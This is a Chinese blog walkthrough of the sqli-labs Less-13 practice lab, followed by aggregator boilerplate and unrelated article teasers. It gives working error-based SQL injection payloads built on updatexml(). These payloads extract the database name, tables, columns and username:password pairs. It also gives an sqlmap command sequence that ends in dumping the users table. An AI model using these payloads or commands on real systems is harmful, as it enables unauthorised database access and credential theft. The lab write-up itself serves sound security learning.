sqli-labs:Less-13關卡詳細解析

1. 思路🚀

本關的SQL語句為:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 注入類型:字符串型(單引號、括號包裹)、POST請求
  • 提示:參數需以')閉合

php輸出語句的部分代碼:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"   />';	echo "</font>";
}

可以看到沒有回顯語句,那就需要用到盲注手段,首選報錯盲注,問就是sql語句少:

  • 布爾盲注
  • 時間盲注
  • 報錯盲注?

在這里插入圖片描述


2. 手工注入步驟🎯

我的地址欄是:http://localhost:8081/Less-13/,只需要將下面的urlpost data放入對應位置,粘貼即可。

2.1. 判斷能否注入?

uname=1') order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探測字段數(報錯說明字段數=2)

在這里插入圖片描述


2.2. 獲取數據庫?

uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit

在這里插入圖片描述


2.3. 獲取表名?

uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit

在這里插入圖片描述


2.4. 獲取字段?

uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit

在這里插入圖片描述


2.5. 獲取數據?

uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit

在這里插入圖片描述


2.6. 參數匯總表?

參數作用示例
')閉合符號id=1')
#注釋符#
order by判斷字段數order by 3
updatexml()報錯注入函數updatexml(1,(select database()),3)
concat()字符串拼接函數concat('a','b')concat(1,(select database()))
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

3. SQLMap工具測試🎯

url地址換成自己的,比如:http://localhost:8081/Less-13/,由于本關卡為post請求,需要加參數指明請求格式,
--data="uname=1&passwd=123456"unamepasswd的值隨意,具體如下:?

# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch# 爆數據庫
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截圖:
在這里插入圖片描述

命令5截圖:
在這里插入圖片描述

SQLMap參數表?

參數功能
--data指定post請求
--batch非交互模式
--dbs枚舉數據庫
-D指定數據庫
-T指定表
-C指定列
--dump導出數據

4. 總結🏁

關于post請求,本關卡與關卡11的解法相仿,但關卡11的解析更為詳細,歡迎大家移步"sqli-labs:Less-11關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91339.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91339.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91339.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

微軟發布Microsoft Sentinel數據湖國際版

在網絡安全威脅持續升級的背景下&#xff0c;微軟宣布推出Microsoft Sentinel數據湖&#xff08;國際版&#xff09;&#xff0c;以突破性架構重塑企業安全運營能力。該產品目前已進入公開預覽階段&#xff0c;標志著安全信息與事件管理&#xff08;SIEM&#xff09;領域正式邁…

力扣面試150題--只出現一次的數字II

Day 92 題目描述思路 初次思路&#xff1a;想不出來 哈哈哈指揮hash 就不放出來丟人了 題解思路&#xff1a;這個做法是每次確定一個位是否為答案為1 的位 具體是這樣的&#xff1a;由于除了答案外每個數字都會出現3次&#xff0c;那么我們不考慮答案的情況&#xff0c;那么一個…

cacti的RCE

一、環境搭建 1、安裝docker curl -fsSL https://get.docker.com | sh 驗證docker是否正確安裝 docker version 驗證docker compose是否可用 docker compose version 2、在GitHub上拉取 vulhub 首先先裝一個proxychains網絡代理工具&#xff0c;如果直接拉取的話速度會…

Spark SQL 的 SQL 模式和 DSL模式

下面我將詳細講解如何使用 Spark SQL 分別通過 SQL 模式和 DSL&#xff08;Domain Specific Language&#xff09;模式實現 WordCount 功能。WordCount 是大數據處理中的經典案例&#xff0c;主要功能是統計文本中每個單詞出現的次數。準備工作首先需要初始化 SparkSession&…

03 基于sklearn的機械學習-線性回歸、損失函數及其推導

線性回歸 分類的目標變量是標稱型數據&#xff0c;回歸是對連續型的數據做出預測。 一、標稱型數據&#xff08;Nominal Data&#xff09; 標稱型數據屬于分類數據&#xff08;Categorical Data&#xff09; 的一種&#xff0c;用于描述事物的類別或屬性&#xff0c;沒有順序或…

TTS語音合成|f5-tts語音合成服務器部署,實現http訪問

p;?上篇文章分享了如何使用GPT-SoVITS實現一個HTTP服務器&#xff0c;并通過該服務器提供文本到語音&#xff08;TTS&#xff09;服務。今天&#xff0c;我們將進一步探討如何部署另一個強大的TTS模型——f5-tts。這個模型在自然語音生成方面表現出色&#xff0c;具有高度的可…

【Golang】Go語言指針

Go語言指針 文章目錄Go語言指針一、指針1.1、Go語言中的指針1.1.1、指針地址和指針類型1.1.2、指針取值1.1.3、空指針1.1.4、new和make1.1.5、new1.1.6、make1.1.7、new與make的區別一、指針 區別于C/C中的指針&#xff0c;Go語言中的指針不能進行偏移和運算&#xff0c;是安全…

EMC的一些簡單常識

ESD測試比對 & 需要做到動作 試驗&#xff1a; -780系統&#xff0c;板子直流地 和 PE連接&#xff08;主板PE & DC-分開&#xff0c;但是前端板PE & DC-連接&#xff09;&#xff0c;只能承受1K接觸放電。 -780系統&#xff0c;板子直流地 和 PE分開&#xff08;主…

Day4||vue-計算屬性

一.定義概念&#xff1a;基于現有的數據&#xff0c;計算出來的新屬性。依賴的數據變化&#xff0c;自動重新計算。語法&#xff1a;聲明需要放在computed的配置項中&#xff0c;一個計算屬性對于一個函數。使用起來和普通屬性一樣使用{{計算屬性名}}計算屬性->可以將一段求…

編程算法在金融、醫療、教育、制造業等領域的落地案例

隨著人工智能與大數據技術的迅猛發展&#xff0c;編程算法已從理論研究走向實際應用&#xff0c;在金融、醫療、教育、制造業等多個關鍵領域實現了深度落地。這些算法不僅提升了業務效率&#xff0c;還推動了行業智能化轉型。本文將系統性地分析編程算法在四大核心領域的典型應…

vue npm install卡住沒反應

install某個插件的時候&#xff0c;發現卡住不動&#xff0c;可以嘗試以下解決方法 1.使用–verbose查看安裝詳情 npm install consola --verbose2.更換淘寶鏡像&#xff08;一般都是淘寶鏡像正式過期問題&#xff09; 查看當前鏡像 npm config get registry更換淘寶鏡像 第一種…

【Unity3D實例-功能-移動】角色移動-通過WSAD(CharacterController方式)

今天&#xff0c;我們就來聊聊如何在Unity中使用CharacterController組件&#xff0c;讓角色能夠靈活移動&#xff0c;在游戲世界里像風一樣自由奔跑吧。廢話不多說&#xff0c;走&#xff0c;讓我們馬上來一探究竟&#xff01;目錄&#xff1a;1.準備模型2.動畫的處理3.為角色…

AI Agent開發學習系列 - langchain之LCEL(4):Memory

Memory的添加方式 from operator import itemgetterfrom langchain.memory import ConversationBufferMemory from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain_core.runnables import RunnableLambda, RunnablePassthrough from l…

向Coze學習,我們把這些工作流也開源了

要說現在最火的工作流是什么&#xff0c;那非視頻工作流莫屬了。我每天也都能接到不少咨詢短視頻工作流的需求。 這大半年來我們團隊也制作和整理了超過 100 工作流&#xff0c;其中很大一部分都是現在最火的視頻工作流。 為了向Coze開源致敬&#xff0c;這次我們斑碼團隊也決…

Git 從零開始:完整項目上傳指南

一、準備工作 1. 安裝 Git Windows&#xff1a;下載安裝包macOS&#xff1a;在終端運行 brew install gitLinux&#xff1a; # Ubuntu/Debian sudo apt update && sudo apt install git# CentOS/Fedora sudo yum install git2. 配置用戶信息&#xff08;首次使用&am…

【AI】入門級提示詞模板:適用于ChatGPT、文心一言等主流模型

入門級提示詞模板&#xff1a;適用于 ChatGPT、文心一言等主流模型**在當下這個人工智能飛速發展的時代&#xff0c;ChatGPT、文心一言等主流大模型已經廣泛地融入到我們的工作與生活當中。不管是創作文章、生成代碼&#xff0c;還是進行數據分析、獲取創意靈感&#xff0c;這些…

如何解決 undetected_chromedriver 啟動慢問題

要解決 undetected_chromedriver 啟動慢的問題&#xff0c;可以從以下幾個方面優化配置和代碼&#xff1a; 1. 指定本地 Chrome 二進制路徑 避免自動搜索 Chrome 路徑&#xff0c;直接指定位置&#xff1a; driver uc.Chrome(browser_executable_pathrC:\Program Files\Google…

Python 程序設計講義(42):組合數據類型——元組類型:創建元組

Python 程序設計講義&#xff08;42&#xff09;&#xff1a;組合數據類型——元組類型&#xff1a;創建元組 目錄Python 程序設計講義&#xff08;42&#xff09;&#xff1a;組合數據類型——元組類型&#xff1a;創建元組一、元組的特征二、創建元組1、使用圓括號&#xff0…

windows 設置 vscode 免密遠程

我們可以使用 vscode ssh 進行遠程編輯文件項目。也可以使用 ssh 密匙 來實現免密登錄。 本人在本地windows系統有多個密匙&#xff0c;使用 D:\SPB_Data\.ssh\id_rsa_local 進行本地設備進行登錄。 在 vscode ssh 配置文件中添加 IdentityFile 配置 Host 本地設備ipHostName …

ubuntu自動搭建Android平臺NDK編譯環境

sh setup_ndk_env.sh自動下載NDK并解壓 提取Android平臺工具鏈 驗證Android工具鏈 設置工具鏈變量 export CROSS_TRIPLE=aarch64_linux_android export CROSS_ROOT=/home/ubuntu/${CROSS_TRIPLE} export ANDROID_NDK=${CROSS_ROOT} export AS=${CROSS_ROOT}/bin/llvm-as exp…